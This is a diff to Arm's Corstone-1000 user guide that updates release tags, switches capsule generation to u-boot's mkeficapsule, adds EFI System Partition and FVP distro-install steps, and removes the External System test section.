-The latest supported Fixed Virtual Platform (FVP) version is 11.19_21 and is automatically downloaded and installed when using the runfvp command as detailed below. The FVP version can be checked by running the following command:
+The latest supported Fixed Virtual Platform (FVP) version is 11_23.25 and is automatically downloaded and installed when using the runfvp command as detailed below. The FVP version can be checked by running the following command:
::
@@ -374,8 +364,6 @@ The host will boot trusted-firmware-a, OP-TEE, U-Boot and then Linux, and presen
Login using the username root.
-The External System can be released out of reset on demand using the systems-comms-tests command.
-
SystemReady-IR tests
--------------------
@@ -398,6 +386,107 @@ steps described in following section "Clean Secure Flash Before Testing" to
erase the SecureEnclave flash cleanly and prepare a clean board environment for
the testing.
+Prepare EFI System Partition
+===========================================================
+Corstone-1000 FVP and FPGA do not have enough on-chip nonvolatile memory to host
+an EFI System Partition (ESP). Thus, Corstone-1000 uses mass storage device for
+ESP. The instructions below should be followed for both FVP and FPGA before
+running the ACS tests.
+
+**Common to FVP and FPGA:**
+
+#. Create an empty 100 MB partition:
+ ::
+
+ dd if=/dev/zero of=corstone1000-efi-partition.img iflag=fullblock bs=512 count=204800 && sync
+
+#. Use OpenSuse Raw image to copy the contents of EFI partition.
+
+ To download OpenSUSE Tumbleweed raw image:
+ - Under `OpenSUSE Tumbleweed appliances <http://download.opensuse.org/ports/aarch64/tumbleweed/appliances/>`__
+ - The user should look for a Tumbleweed-ARM-JeOS-efi.aarch64-* Snapshot, for example,
+ ``openSUSE-Tumbleweed-ARM-JeOS-efi.aarch64-<date>-Snapshot<date>.raw.xz``
+
+ Once the .raw.xz file is downloaded, the raw image file needs to be extracted:
+
+ ::
+
+ unxz <file-name.raw.xz>
+
+
+ The above command will generate a file ending with extension .raw image. Use the
+ following command to get address of the first partition
+
+ ::
+
+ fdisk -lu <path-to-img>/openSUSE-Tumbleweed-ARM-JeOS-efi.aarch64-<date>-Snapshot<date>.raw
+ -> Device Start End Sectors Size Type
+ <path-to-img>/openSUSE-Tumbleweed-ARM-JeOS-efi.aarch64-<date>-Snapshot<date>.raw1 8192 40959 32768 16M EFI System
+ <path-to-img>/openSUSE-Tumbleweed-ARM-JeOS-efi.aarch64-<date>-Snapshot<date>.raw2 40960 1064959 1024000 500M Linux swap
+ <path-to-img>/openSUSE-Tumbleweed-ARM-JeOS-efi.aarch64-<date>-Snapshot<date>.raw3 1064960 5369822 4304863 2.1G Linux filesystem
+
+ -> <blockaddress_1st_partition> = 8192
+ -> <sectorsize_1st_partition> = 32768
+
+#. Copy the ESP from opensuse image to empty image:
+
+ ::
+
+ dd conv=notrunc if=openSUSE-Tumbleweed-ARM-JeOS-efi.aarch64-<date>-Snapshot<date>.raw skip=<blockaddress_1st_partition> of=corstone1000-efi-partition.img seek=<blockaddress_1st_partition> iflag=fullblock seek=<blockaddress_1st_partition> bs=512 count=<sectorsize_1s_partition> && sync
+
+
+#. Use the provided disk-layout below to label the ESP correctly.
+
+ efi_disk.layout
+ ::
+
+ label: gpt
+ label-id: AC53D121-B818-4515-9031-BE02CCEB8701
+ device: corstone1000-efi-partition.img
+ unit: sectors
+ first-lba: 34
+ last-lba: 204766
+
+ corstone1000-efi-partition.img : start=8192, size=32768, type=C12A7328-F81F-11D2-BA4B-00A0C93EC93B, uuid=792D821F-98AE-46E3-BABD-948003A650F8, name="p.UEFI"
+
+ And use the following command the label the newly created ESP.
+
+ ::
+
+ sfdisk corstone1000-efi-partition.img < efi_disk.layout
+
+ To test the image, you can now mount the disk image
+
+ ::
+
+ fdisk -lu corstone1000-efi-partition.img
+ -> Device Start End Sectors Size Type
+ corstone1000-efi-partition.img1 8192 40959 32768 16M EFI System
+
+ <offset_1st_partition> = 8192 * 512 (sector size) = 4194304
+
+ sudo mount -o loop,offset=4194304 corstone1000-efi-partition.img /mount_point
+
+**Using ESP in FPGA:**
+
+Once the ESP is created, it needs to be flashed to a second USB drive different than ACS image.
+This can be done with the development machine.
+
+::
+
+ sudo dd if=corstone1000-efi-partition.img of=/dev/sdb iflag=direct oflag=direct status=progress bs=512; sync;
+
+Now you can plug this USB stick to the board together with ACS test USB stick.
+
+**Using ESP in FVP:**
+
+The ESP disk image can directly be used in Corstone-1000 FVP by simply passing it as
+the 2nd MMC card image.
+
+::
+
+ <_workspace>/meta-arm/scripts/runfvp <_workspace>/build/tmp/deploy/images/corstone1000-fvp/corstone1000-image-corstone1000-fvp.fvpconf -- -C board.msd_mmc.p_mmc_file="${<path-to-img>/ir_acs_live_image.img}" -C board.msd_mmc_2.p_mmc_file="${<path-to-img>/corstone1000-efi-partition.img}"
+
Clean Secure Flash Before Testing (applicable to FPGA only)
===========================================================
@@ -408,13 +497,13 @@ boot. Run following commands to build such image.
::
cd <_workspace>
- git clone https://git.yoctoproject.org/git/meta-arm -b CORSTONE1000-2023.06
- git clone https://git.gitlab.arm.com/arm-reference-solutions/systemready-patch.git -b CORSTONE1000-2023.06
+ git clone https://git.yoctoproject.org/git/meta-arm -b CORSTONE1000-2023.11
+ git clone https://git.gitlab.arm.com/arm-reference-solutions/systemready-patch.git -b CORSTONE1000-2023.11
cp -f systemready-patch/embedded-a/corstone1000/erase_flash/0001-embedded-a-corstone1000-clean-secure-flash.patch meta-arm
cd meta-arm
git apply 0001-embedded-a-corstone1000-clean-secure-flash.patch
cd ..
- kas build meta-arm/kas/corstone1000-mps3.yml
+ kas build meta-arm/kas/corstone1000-mps3.yml:meta-arm/ci/debug.yml
Replace the bl1.bin and cs1000.bin files on the SD card with following files:
- The ROM firmware: <_workspace>/build/tmp/deploy/images/corstone1000-mps3/bl1.bin
@@ -488,10 +577,10 @@ certifications of SystemReady-IR. To download the repository, run command:
::
cd <_workspace>
- git clone https://github.com/ARM-software/arm-systemready.git -b v21.09_REL1.0
+ git clone https://github.com/ARM-software/arm-systemready.git
Once the repository is successfully downloaded, the prebuilt ACS live image can be found in:
- - ``<_workspace>/arm-systemready/IR/prebuilt_images/v21.07_0.9_BETA/ir_acs_live_image.img.xz``
+ - ``<_workspace>/arm-systemready/IR/prebuilt_images/v23.03_2.0.0/ir-acs-live-image-generic-arm64.wic.xz``
**NOTE**: This prebuilt ACS image includes v5.13 kernel, which doesn't provide
USB driver support for Corstone-1000. The ACS image with newer kernel version
@@ -505,12 +594,12 @@ USB drive. Run the following commands to prepare the ACS image in USB stick:
::
- cd <_workspace>/arm-systemready/IR/prebuilt_images/v21.07_0.9_BETA
- unxz ir_acs_live_image.img.xz
- sudo dd if=ir_acs_live_image.img of=/dev/sdb iflag=direct oflag=direct bs=1M status=progress; sync
+ cd <_workspace>/arm-systemready/IR/prebuilt_images/v23.03_2.0.0
+ unxz ir-acs-live-image-generic-arm64.wic.xz
+ sudo dd if=ir-acs-live-image-generic-arm64.wic of=/dev/sdb iflag=direct oflag=direct bs=1M status=progress; sync
Once the USB stick with ACS image is prepared, the user should make sure that
-ensure that only the USB stick with the ACS image is connected to the board,
+ensure that both USB sticks (ESP and ACS image) are connected to the board,
and then boot the board.
The FPGA will reset multiple times during the test, and it might take approx. 24-36 hours to finish the test.
@@ -520,31 +609,30 @@ FVP instructions for ACS image and run
======================================
Download ACS image from:
- - ``https://gitlab.arm.com/systemready/acs/arm-systemready/-/tree/linux-5.17-rc7/IR/prebuilt_images/v22.04_1.0-Linux-v5.17-rc7``
+ - ``https://gitlab.arm.com/systemready/acs/arm-systemready/-/tree/main/IR/prebuilt_images/v23.03_2.0.0``
-Use the below command to run the FVP with ACS image support in the
-SD card.
+Use the below command to run the FVP with EFI and ACS image support in the
+SD cards.
::
- unxz ${<path-to-img>/ir_acs_live_image.img.xz}
-
- tmux
+ unxz ${<path-to-img>/ir-acs-live-image-generic-arm64.wic.xz}
- <_workspace>/meta-arm/scripts/runfvp <_workspace>/build/tmp/deploy/images/corstone1000-fvp/corstone1000-image-corstone1000-fvp.fvpconf -- -C board.msd_mmc.p_mmc_file="${<path-to-img>/ir_acs_live_image.img}"
+ <_workspace>/meta-arm/scripts/runfvp --terminals=xterm <_workspace>/build/tmp/deploy/images/corstone1000-fvp/corstone1000-image-corstone1000-fvp.fvpconf -- -C board.msd_mmc.p_mmc_file=<path-to-img>/ir-acs-live-image-generic-arm64.wic -C board.msd_mmc_2.p_mmc_file="${<path-to-img>/corstone1000-efi-partition.img}"
The test results can be fetched using following commands:
::
sudo mkdir /mnt/test
- sudo mount -o rw,offset=<offset_2nd_partition> <path-to-img>/ir_acs_live_image.img /mnt/test/
- fdisk -lu <path-to-img>/ir_acs_live_image.img
+ sudo mount -o rw,offset=<offset_3rd_partition> <path-to-img>/ir-acs-live-image-generic-arm64.wic /mnt/test/
+ fdisk -lu <path-to-img>/ir-acs-live-image-generic-arm64.wic
-> Device Start End Sectors Size Type
- <path-to-img>/ir_acs_live_image_modified.img1 2048 1050622 1048575 512M Microsoft basic data
- <path-to-img>/ir_acs_live_image_modified.img2 1050624 1153022 102399 50M Microsoft basic data
+ <path-to-img>/ir-acs-live-image-generic-arm64.wic1 2048 206847 204800 100M Microsoft basic data
+ <path-to-img>/ir-acs-live-image-generic-arm64.wic2 206848 1024239 817392 399.1M Linux filesystem
+ <path-to-img>/ir-acs-live-image-generic-arm64.wic3 1026048 1128447 102400 50M Microsoft basic data
- -> <offset_2nd_partition> = 1050624 * 512 (sector size) = 537919488
+ -> <offset_3rd_partition> = 1026048 * 512 (sector size) = 525336576
The FVP will reset multiple times during the test, and it might take up to 1 day to finish
the test. At the end of test, the FVP host terminal will halt showing a shell prompt.
@@ -580,20 +668,23 @@ A positive test case capsule which boots the platform correctly until the Linux
incorrect capsule (corrupted or outdated) which fails to boot to the host software.
Check the "Run SystemReady-IR ACS tests" section above to download and unpack the ACS image file
- - ``ir_acs_live_image.img.xz``
+ - ``ir-acs-live-image-generic-arm64.wic.xz``
+
-Download edk2 under <_workspace>:
+Download u-boot under <_workspace> and install tools:
::
- git clone https://github.com/tianocore/edk2.git
- cd edk2
- git checkout f2188fe5d1553ad1896e27b2514d2f8d0308da8a
+ git clone https://github.com/u-boot/u-boot.git
+ cd u-boot
+ git checkout 83aa0ed1e93e1ffac24888d98d37a5b04ed3fb07
+ make tools-only_defconfig
+ make tools-only
Download systemready-patch repo under <_workspace>:
::
- git clone https://git.gitlab.arm.com/arm-reference-solutions/systemready-patch.git -b CORSTONE1000-2023.06
+ git clone https://git.gitlab.arm.com/arm-reference-solutions/systemready-patch.git -b CORSTONE1000-2023.11
*******************
Generating Capsules
@@ -613,13 +704,14 @@ generate a UEFI capsule.
::
cd <_workspace>
- edk2/BaseTools/BinWrappers/PosixLike/GenerateCapsule -e -o cs1k_cap_mps3_v6 --fw-version 6 \
- --lsv 0 --guid e2bb9c06-70e9-4b14-97a3-5a7913176e3f --verbose --update-image-index 0 \
- --verbose build/tmp/deploy/images/corstone1000-mps3/corstone1000_image.nopt
- edk2/BaseTools/BinWrappers/PosixLike/GenerateCapsule -e -o cs1k_cap_mps3_v5 --fw-version 5 \
- --lsv 0 --guid e2bb9c06-70e9-4b14-97a3-5a7913176e3f --verbose --update-image-index 0 \
- --verbose build/tmp/deploy/images/corstone1000-mps3/corstone1000_image.nopt
+ ./u-boot/tools/mkeficapsule --monotonic-count 1 --private-key build/tmp/deploy/images/corstone1000-mps3/corstone1000_capsule_key.key \
+ --certificate build/tmp/deploy/images/corstone1000-mps3/corstone1000_capsule_cert.crt --index 1 --guid 989f3a4e-46e0-4cd0-9877-a25c70c01329 \
+ --fw-version 6 build/tmp/deploy/images/corstone1000-mps3/corstone1000_image.nopt cs1k_cap_mps3_v6
+
+ ./u-boot/tools/mkeficapsule --monotonic-count 1 --private-key build/tmp/deploy/images/corstone1000-mps3/corstone1000_capsule_key.key \
+ --certificate build/tmp/deploy/images/corstone1000-mps3/corstone1000_capsule_cert.crt --index 1 --guid 989f3a4e-46e0-4cd0-9877-a25c70c01329 \
+ --fw-version 5 build/tmp/deploy/images/corstone1000-mps3/corstone1000_image.nopt cs1k_cap_mps3_v5
Generating FVP Capsules
=======================
@@ -632,17 +724,16 @@ Generating FVP Capsules
This will generate a file called "corstone1000_image.nopt" which will be used to
generate a UEFI capsule.
-
::
cd <_workspace>
- edk2/BaseTools/BinWrappers/PosixLike/GenerateCapsule -e -o cs1k_cap_fvp_v6 \
- --fw-version 6 --lsv 0 --guid e2bb9c06-70e9-4b14-97a3-5a7913176e3f --verbose --update-image-index \
- 0 --verbose build/tmp/deploy/images/corstone1000-fvp/corstone1000_image.nopt
+ ./u-boot/tools/mkeficapsule --monotonic-count 1 --private-key build/tmp/deploy/images/corstone1000-fvp/corstone1000_capsule_key.key \
+ --certificate build/tmp/deploy/images/corstone1000-fvp/corstone1000_capsule_cert.crt --index 1 --guid 989f3a4e-46e0-4cd0-9877-a25c70c01329 \
+ --fw-version 6 build/tmp/deploy/images/corstone1000-fvp/corstone1000_image.nopt cs1k_cap_fvp_v6
- edk2/BaseTools/BinWrappers/PosixLike/GenerateCapsule -e -o cs1k_cap_fvp_v5 --fw-version 5 \
- --lsv 0 --guid e2bb9c06-70e9-4b14-97a3-5a7913176e3f --verbose --update-image-index \
- 0 --verbose build/tmp/deploy/images/corstone1000-fvp/corstone1000_image.nopt
+ ./u-boot/tools/mkeficapsule --monotonic-count 1 --private-key build/tmp/deploy/images/corstone1000-fvp/corstone1000_capsule_key.key \
+ --certificate build/tmp/deploy/images/corstone1000-fvp/corstone1000_capsule_cert.crt --index 1 --guid 989f3a4e-46e0-4cd0-9877-a25c70c01329 \
+ --fw-version 5 build/tmp/deploy/images/corstone1000-fvp/corstone1000_image.nopt cs1k_cap_fvp_v5
Common Notes for FVP and FPGA
@@ -681,7 +772,7 @@ First, mount the IR image:
::
sudo mkdir /mnt/test
- sudo mount -o rw,offset=1048576 <path-to-img>/ir_acs_live_image.img /mnt/test
+ sudo mount -o rw,offset=1048576 <path-to-img>/ir-acs-live-image-generic-arm64.wic /mnt/test
Then, copy the capsules:
@@ -700,14 +791,15 @@ Then, unmount the IR image:
**NOTE:**
The size of first partition in the image file is calculated in the following way. The data is
-just an example and might vary with different ir_acs_live_image.img files.
+just an example and might vary with different ir-acs-live-image-generic-arm64.wic files.
::
- fdisk -lu <path-to-img>/ir_acs_live_image.img
+ fdisk -lu <path-to-img>/ir-acs-live-image-generic-arm64.wic
-> Device Start End Sectors Size Type
- <path-to-img>/ir_acs_live_image_modified.img1 2048 1050622 1048575 512M Microsoft basic data
- <path-to-img>/ir_acs_live_image_modified.img2 1050624 1153022 102399 50M Microsoft basic data
+ <path-to-img>/ir-acs-live-image-generic-arm64.wic1 2048 206847 204800 100M Microsoft basic data
+ <path-to-img>/ir-acs-live-image-generic-arm64.wic2 206848 1024239 817392 399.1M Linux filesystem
+ <path-to-img>/ir-acs-live-image-generic-arm64.wic3 1026048 1128447 102400 50M Microsoft basic data
-> <offset_1st_partition> = 2048 * 512 (sector size) = 1048576
@@ -725,7 +817,12 @@ Run the FVP with the IR prebuilt image:
::
- <_workspace>/meta-arm/scripts/runfvp --terminals=xterm <_workspace>/build/tmp/deploy/images/corstone1000-fvp/corstone1000-image-corstone1000-fvp.fvpconf -- -C "board.msd_mmc.p_mmc_file=${<path-to-img>/ir_acs_live_image.img}"
+ <_workspace>/meta-arm/scripts/runfvp --terminals=xterm <_workspace>/build/tmp/deploy/images/corstone1000-fvp/corstone1000-image-corstone1000-fvp.fvpconf -- -C board.msd_mmc.p_mmc_file=<path-to-img>/ir-acs-live-image-generic-arm64.wic
+
+**NOTE:**
+
+<path-to-img> must start from the root directory.
+make sure there are no spaces before or after of "=". board.msd_mmc.p_mmc_file=<path-to-img>/ir-acs-live-image-generic-arm64.wic.
Running the FPGA with the IR prebuilt image
===========================================
@@ -796,7 +893,7 @@ Run the following commands in order to run the Corstone-1000 Linux kernel and be
::
$ unzip $kernel_addr 0x90000000
- $ loadm 0x90000000 $kernel_addr_r 0xf00000
+ $ loadm 0x90000000 $kernel_addr_r $filesize
$ bootefi $kernel_addr_r $fdtcontroladdr
@@ -834,7 +931,7 @@ In the Linux command-line run the following:
# cat *
0x0
- e2bb9c06-70e9-4b14-97a3-5a7913176e3f
+ 989f3a4e-46e0-4cd0-9877-a25c70c01329
0
6
0
@@ -843,7 +940,7 @@ In the Linux command-line run the following:
.. line-block::
capsule_flags: 0x0
- fw_class: e2bb9c06-70e9-4b14-97a3-5a7913176e3f
+ fw_class: 989f3a4e-46e0-4cd0-9877-a25c70c01329
fw_type: 0
fw_version: 6
last_attempt_status: 0
@@ -851,8 +948,8 @@ In the Linux command-line run the following:
lowest_supported_fw_ver: 0
-Negative scenario
-=================
+Negative scenario (Applicable to FPGA only)
+===========================================
In the negative case scenario (rollback the capsule version), the user should
see appropriate logs in the secure enclave terminal.
@@ -899,7 +996,7 @@ In the Linux command-line run the following:
# cat *
0x0
- e2bb9c06-70e9-4b14-97a3-5a7913176e3f
+ 989f3a4e-46e0-4cd0-9877-a25c70c01329
0
6
1
@@ -908,26 +1005,32 @@ In the Linux command-line run the following:
.. line-block::
capsule_flags: 0x0
- fw_class: e2bb9c06-70e9-4b14-97a3-5a7913176e3f
+ fw_class: 989f3a4e-46e0-4cd0-9877-a25c70c01329
fw_type: 0
fw_version: 6
last_attempt_status: 1
last_attempt_version: 5
lowest_supported_fw_ver: 0
+**Note**: This test is currently not working properly in Corstone-1000 FVP.
+However, it is not part of the System-Ready IR tests, and it won't affect the
+SR-IR certification. All the compulsory `capsule update tests for SR-IR
+<https://developer.arm.com/documentation/DUI1101/2-1/Test-SystemReady-IR/Test-UpdateCapsule>`__
+works on both Corstone-1000 FVP and FPGA.
+
Linux distros tests
-------------------
*************************************************************
-Debian install and boot preparation (applicable to FPGA only)
+Debian install and boot preparation
*************************************************************
There is a known issue in the `Shim 15.7 <https://salsa.debian.org/efi-team/shim/-/tree/upstream/15.7?ref_type=tags>`__
provided with the Debian installer image (see below). This bug causes a fatal
-error when attempting to boot media installer for Debian, and it resets the MPS3 before installation starts.
+error when attempting to boot media installer for Debian, and it resets the platform before installation starts.
A patch to be applied to the Corstone-1000 stack (only applicable when
installing Debian) is provided to
-`Skip the Shim <https://gitlab.arm.com/arm-reference-solutions/systemready-patch/-/blob/CORSTONE1000-2023.06/embedded-a/corstone1000/shim/0001-arm-bsp-u-boot-corstone1000-Skip-the-shim-by-booting.patch>`__.
+`Skip the Shim <https://gitlab.arm.com/arm-reference-solutions/systemready-patch/-/blob/CORSTONE1000-2023.11/embedded-a/corstone1000/shim/0001-arm-bsp-u-boot-corstone1000-Skip-the-shim-by-booting.patch>`__.
This patch makes U-Boot automatically bypass the Shim and run grub and allows
the user to proceed with a normal installation. If at the moment of reading this
document the problem is solved in the Shim, the user is encouraged to try the
@@ -939,31 +1042,44 @@ documentation.
::
cd <_workspace>
- git clone https://git.gitlab.arm.com/arm-reference-solutions/systemready-patch.git -b CORSTONE1000-2023.06
+ git clone https://git.gitlab.arm.com/arm-reference-solutions/systemready-patch.git -b CORSTONE1000-2023.11
cp -f systemready-patch/embedded-a/corstone1000/shim/0001-arm-bsp-u-boot-corstone1000-Skip-the-shim-by-booting.patch meta-arm
cd meta-arm
git am 0001-arm-bsp-u-boot-corstone1000-Skip-the-shim-by-booting.patch
cd ..
- kas shell meta-arm/kas/corstone1000-mps3.yml -c="bitbake u-boot trusted-firmware-a corstone1000-image -c cleansstate; bitbake corstone1000-image"
-Please update the cs1000.bin on the SD card with the newly generated wic file.
+**On FPGA**
+::
+
+ kas shell meta-arm/kas/corstone1000-mps3.yml:meta-arm/ci/debug.yml -c="bitbake u-boot trusted-firmware-a corstone1000-image -c cleansstate; bitbake corstone1000-image"
+
+**On FVP**
+::
+
+ kas shell meta-arm/kas/corstone1000-fvp.yml:meta-arm/ci/debug.yml -c="bitbake u-boot trusted-firmware-a corstone1000-image -c cleansstate; bitbake corstone1000-image"
+
+On FPGA, please update the cs1000.bin on the SD card with the newly generated wic file.
*************************************************
-Debian/openSUSE install (applicable to FPGA only)
+Preparing the Installation Media
*************************************************
-To test Linux distro install and boot, the user should prepare two empty USB
-sticks (minimum size should be 4GB and formatted with FAT32).
-
Download one of following Linux distro images:
- - `Debian 12.0.0 installer image <https://cdimage.debian.org/debian-cd/current/arm64/iso-dvd/debian-12.0.0-arm64-DVD-1.iso>`__
- - `OpenSUSE Tumbleweed installer image <http://download.opensuse.org/ports/aarch64/tumbleweed/iso/>`__
-
+ - `Debian installer image <https://cdimage.debian.org/debian-cd/current/arm64/iso-dvd/>`__ (Tested on: debian-12.2.0-arm64-DVD-1.iso)
+ - `OpenSUSE Tumbleweed installer image <http://download.opensuse.org/ports/aarch64/tumbleweed/iso/>`__ (Tested on: openSUSE-Tumbleweed-DVD-aarch64-Snapshot20231120-Media.iso)
+
**NOTE:** For OpenSUSE Tumbleweed, the user should look for a DVD Snapshot like
openSUSE-Tumbleweed-DVD-aarch64-Snapshot<date>-Media.iso
-Once the iso file is downloaded, the iso file needs to be flashed to your USB
-drive. This can be done with your development machine.
+
+FPGA
+==================================================
+
+To test Linux distro install and boot on FPGA, the user should prepare two empty USB
+sticks (minimum size should be 4GB and formatted with FAT32).
+
+The downloaded iso file needs to be flashed to your USB drive.
+This can be done with your development machine.
In the example given below, we assume the USB device is ``/dev/sdb`` (the user
should use the `lsblk` command to confirm).
@@ -976,6 +1092,26 @@ following command in the development machine:
sudo dd if=<path-to-iso_file> of=/dev/sdb iflag=direct oflag=direct status=progress bs=1M; sync;
+
+FVP
+==================================================
+
+To test Linux distro install and boot on FVP, the user should prepare an mmc image.
+With a minimum size of 8GB formatted with gpt.
+
+::
+ #Generating mmc2
+ dd if=/dev/zero of=<_workspace>/mmc2_file.img bs=1 count=0 seek=8G; sync;
+ parted -s mmc2_file.img mklabel gpt
+
+
+*************************************************
+Debian/openSUSE install
+*************************************************
+
+FPGA
+==================================================
+
Unplug the first USB stick from the development machine and connect it to the
MSP3 board. At this moment, only the first USB stick should be connected. Open
the following picocom sessions in your development machine:
@@ -993,8 +1129,18 @@ the process.
**NOTE:** Due to the performance limitation of Corstone-1000 MPS3 FPGA, the
distro installation process can take up to 24 hours to complete.
+FVP
+==================================================
+
+::
+
+ <_workspace>/meta-arm/scripts/runfvp --terminals=xterm <_workspace>/build/tmp/deploy/images/corstone1000-fvp/corstone1000-image-corstone1000-fvp.fvpconf -- -C board.msd_mmc.p_mmc_file="<path-to-iso_file>" -C board.msd_mmc_2.p_mmc_file="<_workspace>/mmc2_file.img"
+
+The installer should now start.
+The os will be installed on the second mmc 'mmc2_file.img'.
+
*******************************************************
-Debian install clarifications (applicable to FPGA only)
+Debian install clarifications
*******************************************************
As the installation process for Debian is different than the one for openSUSE,
@@ -1032,75 +1178,69 @@ popups:
8. At this stage, the installation should proceed as normal.
*****************************************************************
-Debian/openSUSE boot after installation (applicable to FPGA only)
+Debian/openSUSE boot after installation
*****************************************************************
+FPGA
+===============
Once the installation is complete, unplug the first USB stick and reboot the
board.
The board will then enter recovery mode, from which the user can access a shell
-after entering the password for the root user. Proceed to edit the following
-files accordingly:
+after entering the password for the root user.
-::
+FVP
+==============
+Once the installation is complete, you will need to exit the shell instance
+and run this command to boot into the installed OS:
- vi /etc/systemd/system.conf
- DefaultDeviceTimeoutSec=infinity
+::
-The file to be editted next is different depending on the installed distro:
+ <_workspace>/meta-arm/scripts/runfvp --terminals=xterm <_workspace>/build/tmp/deploy/images/corstone1000-fvp/corstone1000-image-corstone1000-fvp.fvpconf -- -C board.msd_mmc.p_mmc_file="<_workspace>/mmc2_file.img"
-::
- vi /etc/login.defs # Only applicable to Debian
- vi /usr/etc/login.defs # Only applicable to openSUSE
- LOGIN_TIMEOUT 180
+Once the FVP begins booting, you will need to quickly change the boot option in GRUB,
+to boot into recovery mode.
-To make sure the changes are applied, please run:
+**NOTE:** This option will disappear quickly, so it's best to preempt it.
-::
+Select 'Advanced Options for '<OS>' and then '<OS> (recovery mode)'.
- systemctl daemon-reload
+Common
+==============
-After applying the previous commands, please reboot the board. The user should
-see a login prompt after booting, for example, for debian:
+Proceed to edit the following files accordingly:
::
- debian login:
-
-Login with the username root and its corresponding password (already set at
-installation time).
-
-************************************************************
-OpenSUSE Raw image install and boot (applicable to FVP only)
-************************************************************
-
-Steps to download OpenSUSE Tumbleweed raw image:
- - Under `OpenSUSE Tumbleweed appliances <http://download.opensuse.org/ports/aarch64/tumbleweed/appliances/>`__
- - The user should look for a Tumbleweed-ARM-JeOS-efi.aarch64-* Snapshot, for example,
- ``openSUSE-Tumbleweed-ARM-JeOS-efi.aarch64-<date>-Snapshot<date>.raw.xz``
+ vi /etc/systemd/system.conf #Only applicable to Debian
+ DefaultDeviceTimeoutSec=infinity
+ vi /usr/lib/systemd/system.conf # Only applicable to openSUSE
+ DefaultDeviceTimeoutSec=infinity
-Once the .raw.xz file is downloaded, the raw image file needs to be extracted:
+The file to be edited next is different depending on the installed distro:
::
- unxz <file-name.raw.xz>
-
+ vi /etc/login.defs # Only applicable to Debian
+ vi /usr/etc/login.defs # Only applicable to openSUSE
+ LOGIN_TIMEOUT 180
-The above command will generate a file ending with extension .raw image. Now, use the following command
-to run FVP with raw image installation process.
+To make sure the changes are applied, please run:
::
- <_workspace>/meta-arm/scripts/runfvp --terminals=xterm <_workspace>/build/tmp/deploy/images/corstone1000-fvp/corstone1000-image-corstone1000-fvp.fvpconf -- -C board.msd_mmc.p_mmc_file="${openSUSE raw image file path}"
+ systemctl daemon-reload
+
+After applying the previous commands, please reboot the board or restart the runfvp command.
-After successfully installing and booting the Linux distro, the user should see
-a openSUSE login prompt.
+The user should see a login prompt after booting, for example, for debian:
::
- localhost login:
+ debian login:
-Login with the username 'root' and password 'linux'.
+Login with the username root and its corresponding password (already set at
+installation time).
PSA API tests
-------------
@@ -1121,7 +1261,7 @@ First, load FF-A TEE kernel module:
::
- insmod /lib/modules/6.1.32-yocto-standard/extra/arm-ffa-tee.ko
+ insmod /lib/modules/*-yocto-standard/extra/arm-ffa-tee.ko
Then, check whether the FF-A TEE driver is loaded correctly by using the following command:
@@ -1146,105 +1286,20 @@ Now, run the PSA API tests in the following order:
**NOTE:** The psa-crypto-api-test takes between 30 minutes to 1 hour to run.
-External System tests
----------------------
-
-**************************************************************
-Running the External System test command (systems-comms-tests)
-**************************************************************
-
-Test 1: Releasing the External System out of reset
-==================================================
-
-Run this command in the Linux command-line:
-
-::
-
- systems-comms-tests 1
-
-The output on the External System terminal should be:
-
-::
-
- ___ ___
- | / __|
- |=== \___
- |___ |___/
- External System Cortex-M3 Processor
- Running RTX RTOS
- v0.1.0_2022-10-19_16-41-32-8c9dca7
- MHUv2 module 'MHU0_H' started
- MHUv2 module 'MHU1_H' started
- MHUv2 module 'MHU0_SE' started
- MHUv2 module 'MHU1_SE' started
-
-Test 2: Communication
-=====================
-
-Test 2 releases the External System out of reset if not already done. Then, it performs communication between host and External System.
-
-After running Test 1, run this command in the Linux command-line:
-
-::
-
- systems-comms-tests 2
-
-Additional output on the External System terminal will be printed:
-
-::
-
- MHUv2: Message from 'MHU0_H': 0xabcdef1
- Received 'abcdef1' From Host MHU0
- CMD: Increment and return to sender...
- MHUv2: Message from 'MHU1_H': 0xabcdef1
- Received 'abcdef1' From Host MHU1
- CMD: Increment and return to sender...
-
-When running Test 2 the first, Test 1 will be run in the background.
-
-The output on the External System terminal should be:
-
-::
-
- ___ ___
- | / __|
- |=== \___
- |___ |___/
- External System Cortex-M3 Processor
- Running RTX RTOS
- v0.1.0_2022-10-19_16-41-32-8c9dca7
- MHUv2 module 'MHU0_H' started
- MHUv2 module 'MHU1_H' started
- MHUv2 module 'MHU0_SE' started
- MHUv2 module 'MHU1_SE' started
- MHUv2: Message from 'MHU0_H': 0xabcdef1
- Received 'abcdef1' From Host MHU0
- CMD: Increment and return to sender...
- MHUv2: Message from 'MHU1_H': 0xabcdef1
- Received 'abcdef1' From Host MHU1
- CMD: Increment and return to sender...
-
-The output on the Host terminal should be:
-
-::
-
- Received abcdf00 from es0mhu0
- Received abcdf00 from es0mhu1
-
-
Tests results
-------------
-As a reference for the end user, reports for various tests for `Corstone-1000 software (CORSTONE1000-2023.06) <https://git.yoctoproject.org/meta-arm/tag/?h=CORSTONE1000-2023.06>`__
+As a reference for the end user, reports for various tests for `Corstone-1000 software (CORSTONE1000-2023.11) <https://git.yoctoproject.org/meta-arm/tag/?h=CORSTONE1000-2023.11>`__
can be found `here <https://gitlab.arm.com/arm-reference-solutions/arm-reference-solutions-test-report/-/tree/master/embedded-a/corstone1000>`__.
-Running the software on FVP on Windows
---------------------------------------
+Running the software on FVP on Windows or AArch64 Linux
+------------------------------------------------------------
+
+The user should follow the build instructions in this document to build on a Linux host machine. Then, copy the output binaries to the Windows or Aarch64 Linux machine where the FVP is located. Then, launch the FVP binary.
-If the user needs to run the Corstone-1000 software on FVP on Windows. The user
-should follow the build instructions in this document to build on Linux host
-PC, and copy the output binaries to the Windows PC where the FVP is located,
-and launch the FVP binary.
+Security Issue Reporting
+------------------------
+To report any security issues identified with Corstone-1000, please send an email to arm-security@arm.com.
--------------
diff --git a/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-ir-acs-fvp-base.inc b/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-ir-acs-fvp-base.inc
new file mode 100644
index 0000000000..376f623a8d
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/dynamic-layers/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-ir-acs-fvp-base.inc
@@ -0,0 +1,2 @@
+FILESEXTRAPATHS:append := "${THISDIR}/files/${MACHINE}:"
+SRC_URI:append = " file://report.txt"
